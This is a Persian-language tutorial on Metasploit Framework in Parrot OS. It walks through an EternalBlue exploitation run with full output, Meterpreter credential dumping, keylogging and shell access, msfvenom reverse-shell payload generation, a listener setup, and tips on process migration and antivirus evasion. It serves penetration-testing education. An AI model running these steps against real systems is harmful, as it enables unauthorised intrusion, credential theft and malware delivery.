</>

لینوکس‌پارسی

مرجع فارسی آموزش لینوکس

Gentoo • Arch • Debian • Ubuntu • Kali • Parrot
پرش به محتوای اصلی

Command Palette

Search for a command to run...

Metasploit Framework در Parrot OS

راهنمای پیشرفته Metasploit Framework: اکسپلویت، payload، post-exploitation و meterpreter.

پیشرفته۱۰ دقیقه مطالعهآخرین بروزرسانی: ۵ تیر ۱۴۰۵ویرایش در گیت‌هاب

Metasploit Framework قدرتمندترین ابزار اکسپلویت در دنیای امنیت است که بیش از ۲۰۰۰ اکسپلویت و ۱۰۰۰ payload را در اختیار متخصصان امنیت قرار می‌دهد. در این آموزش، با ساختار، دستورات و کاربردهای عملی Metasploit در Parrot OS آشنا می‌شویم.

استفادهٔ مسئولانه

Metasploit یک ابزار قدرتمند برای تست نفوذ مجاز است. استفادهٔ آن روی سیستم‌هایی که مالک آن‌ها نیستید یا مجوز کتبی ندارید، جرم محسوب می‌شود. تنها در محیط‌های آزمایشگاهی یا با مجوز صریح از آن استفاده کنید.

Metasploit چیست؟#

Metasploit Framework (MSF) یک پلتفرم متن‌باز برای توسعه، تست و اجرای اکسپلویت است. این ابزار توسط Rapid7 توسعه می‌یابد و نسخهٔ Community آن به‌صورت رایگان در دسترس است. Parrot نسخهٔ Community را به‌صورت پیش‌فرض ارائه می‌دهد.

راه‌اندازی پایگاه داده#

پیش از استفاده از Metasploit، پایگاه داده را مقداردهی اولیه کنید:

# مقداردهی اولیهٔ پایگاه داده
sudo msfdb init
 
# بررسی وضعیت
msfdb status
 
# خروجی:
# [*] Database started
# [*] ok

راه‌اندازی msfconsole#

# راه‌اندازی کنسول Metasploit
sudo msfconsole -q
 
# خروجی:
# =[ metasploit v6.4.5-dev                          ]
# + -- --=[ 2429 exploits - 1252 auxiliary - 410 post           ]
# + -- --=[ 1391 payloads - 46 encoders - 11 nops               ]
# + -- --=[ 9 evasion                                               ]
 
msf6 >

دستورات پایه#

۱. جستجوی اکسپلویت#

msf6 > search eternalblue
 
# Matching Modules
# ================
#   #  Name                                           Rank       Description
#   -  ----                                           ----       -----------
#   0  exploit/windows/smb/ms17_010_eternalblue      average    MS17-010 EternalBlue

۲. انتخاب ماژول#

msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >

۳. نمایش گزینه‌ها#

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
 
# Module options (exploit/windows/smb/ms17_010_eternalblue):
#    Name           Current Setting  Required  Description
#    ----           ---------------  --------  -----------
#    RHOSTS                          yes       The target host(s)
#    RPORT          445              yes       The target port
#    SMBDomain      .                no        (Optional) Windows domain
#    SMBPass        test             no        (Optional) Password
#    SMBUser                       no        (Optional) Username
#    VERIFY_ARCH    true             yes       Check if remote architecture matches
#    VERIFY_TARGET  true             yes       Check if remote OS matches
 
# Payload options (windows/x64/meterpreter/reverse_tcp):
#    Name      Current Setting  Required  Description
#    ----      ---------------  --------  -----------
#    EXITFUNC  thread           yes       Exit technique
#    LHOST     192.168.1.5      yes       The listen address
#    LPORT     4444             yes       The listen port

۴. تنظیم گزینه‌ها#

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.10
RHOSTS => 192.168.1.10
 
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.5
LHOST => 192.168.1.5
 
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp

۵. اجرای اکسپلویت#

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
 
[*] Started reverse TCP handler on 192.168.1.5:4444 
[*] 192.168.1.10:445 - Connecting to target for exploitation.
[+] 192.168.1.10:445 - Connection established for exploitation.
[+] 192.168.1.10:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.10:445 - CORE raw buffer dump (51 bytes)
[*] 192.168.1.10:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 192.168.1.10:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[+] 192.168.1.10:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.1.10:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.1.10:445 - Sending all but last fragment of exploit packet
[*] 192.168.1.10:445 - Starting non-paged pool grooming
[+] 192.168.1.10:445 - Sending SMBv2 buffers
[+] 192.168.1.10:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.1.10:445 - Sending final SMBv2 buffers
[*] 192.168.1.10:445 - Sending last fragment of exploit packet!
[*] 192.168.1.10:445 - Receiving response from exploit packet
[+] 192.168.1.10:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.10:445 - Sending egg to corrupted connection.
[*] 192.168.1.10:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 192.168.1.10
[*] Meterpreter session 1 opened (192.168.1.5:4444 -> 192.168.1.10:49174) at 2026-06-29 10:00:00 +0000
[+] 192.168.1.10:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.10:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.10:445 - =-=-=-=-=-=-=-=-=-=-=-=WIN-!=-=-=-=-=-=
[+] 192.168.1.10:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 
meterpreter >

Meterpreter — payload پیشرفته#

Meterpreter (Meta-Interpreter) یک payload قدرتمند است که پس از اکسپلویت موفق، یک شل غنی روی هدف ارائه می‌دهد.

دستورات پایه Meterpreter#

دستورتوضیح
sysinfoاطلاعات سیستم هدف
getuidشناسهٔ کاربر فعلی
pwdمسیر فعلی
lsلیست فایل‌ها
cdتغییر مسیر
downloadدانلود فایل از هدف
uploadآپلود فایل به هدف
shellاجرای شل سیستمی
portfwdforwarding پورت
routerouting
screenshotعکس‌برداری از صفحه
keyscan_startشروع keylogger
hashdumpاستخراج هش‌ها
migrateانتقال به فرآیند دیگر
backgroundبازگشت به پس‌زمینه

مثال عملی#

meterpreter > sysinfo
# Computer        : DESKTOP-ABC123
# OS              : Windows 10 (10.0 Build 19045).
# Architecture    : x64
# System Language : en_US
# Domain          : WORKGROUP
# Logged On Users : 2
# Meterpreter     : x64/windows
 
meterpreter > getuid
# Server username: NT AUTHORITY\SYSTEM
 
meterpreter > hashdump
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
 
meterpreter > screenshot
# Screenshot saved to: /home/user/YhkRZdwk.jpeg
 
meterpreter > shell
# Process 3544 created.
# Channel 1 created.
# Microsoft Windows [Version 10.0.19045.2965]
# (c) Microsoft Corporation. All rights reserved.
# C:\Windows\system32>

ماژول‌های Post-Exploitation#

پس از دسترسی به هدف، می‌توانید از ماژول‌های post-exploitation استفاده کنید:

msf6 > background
[*] Backgrounding session 1...
 
msf6 > use post/windows/gather/credentials/credential_collector
msf6 post(windows/gather/credentials/credential_collector) > set SESSION 1
SESSION => 1
 
msf6 post(windows/gather/credentials/credential_collector) > run
 
[*] Running module against DESKTOP-ABC123
[*] Collecting credentials...
[+] Found cached credentials for user: Administrator
[+] Hash: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Post module execution completed

Multi/Handler — listener#

برای دریافت reverse shell از یک payload:

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
 
msf6 exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
 
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
 
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 0.0.0.0:4444

msfvenom — تولید payload#

ابزار msfvenom برای تولید payload سفارشی استفاده می‌شود:

# تولید payload Windows EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o shell.exe
 
# خروجی:
# [-] No platform was selected, choosing Msf::Module::Platform::Windows
# [-] No arch selected, selecting arch: x64
# No encoder specified, outputting raw payload
# Payload size: 510 bytes
# Final size of exe file: 7168 bytes
# Saved as: shell.exe
 
# تولید payload Python
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f raw -o shell.py
 
# تولید payload PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f raw -o shell.php

تخطی از آنتی‌ویروس

payloadهای تولیدشده با msfvenom به‌راحتی توسط آنتی‌ویروس‌ها شناسایی می‌شوند. برای آموزش واقعی، از encoders یا Veil Framework استفاده کنید. اما این کار فقط در محیط‌های مجاز انجام شود.

جدول Payloadهای رایج#

Payloadتوضیح
windows/x64/meterpreter/reverse_tcpWindows Meterpreter
windows/x64/shell_reverse_tcpشل ساده Windows
linux/x64/meterpreter/reverse_tcpLinux Meterpreter
php/meterpreter_reverse_tcpPHP Meterpreter
python/meterpreter/reverse_tcpPython Meterpreter
java/meterpreter/reverse_tcpJava Meterpreter
android/meterpreter/reverse_tcpAndroid Meterpreter

Workspaces — مدیریت پروژه‌ها#

msf6 > workspace -a ProjectA
[*] Added workspace: ProjectA
[*] Workspace: ProjectA
 
msf6 > workspace
  default
* ProjectA
 
msf6 > workspace default
[*] Workspace: default

خطاهای رایج#

"Exploit completed, but no session was created"#

دلایل:

  • پورت فایروال هدف بسته است
  • نسخهٔ آسیب‌پذیر روی هدف نیست
  • LHOST اشتباه تنظیم شده
  • آنتی‌ویروس payload را بلاک کرده

راه‌حل:

  • با nmap مجدداً اسکن کنید
  • set VerifyArch false و set VerifyTarget false را امتحان کنید
  • مطمئن شوید LHOST آدرس قابل دسترس شماست

"Connection refused"#

دلیل: هدف پورت را بسته یا سرویس اجرا نیست.

راه‌حل: با nmap بررسی کنید سرویس واقعاً فعال است.

msfconsole بسیار کند اجرا می‌شود#

راه‌حل:

# راه‌اندازی مجدد پایگاه داده
sudo msfdb reinit
 
# یا فقط کنسول بدون دیتابیس
msfconsole -q --no-deferred-load

session بلافاصله قطع می‌شود#

راه‌حل:

# انتقال به فرآیند پایدارتر
meterpreter > migrate -N explorer.exe
 
# یا
meterpreter > migrate -P <PID>

Migrate بلافاصله پس از نفوذ

پس از دریافت session، بلافاصله migrate را به یک فرآیند پایدار مانند explorer.exe یا svchost.exe انجام دهید تا session شما از بین نرود.

خلاصه و مرحلهٔ بعد#

Metasploit Framework قدرتمندترین ابزار اکسپلویت در دسترس متخصصان امنیت است. با درک ساختار ماژول‌ها، گزینه‌ها و Meterpreter، می‌توانید ارزیابی‌های امنیتی حرفه‌ای انجام دهید. تمرین منظم در محیط‌های آزمایشی کلید تسلط بر این ابزار است.

به‌عنوان گام بعدی:

اشتراک‌گذاری:

این صفحه در تاریخ ۵ تیر ۱۴۰۵ به‌روزرسانی شده است.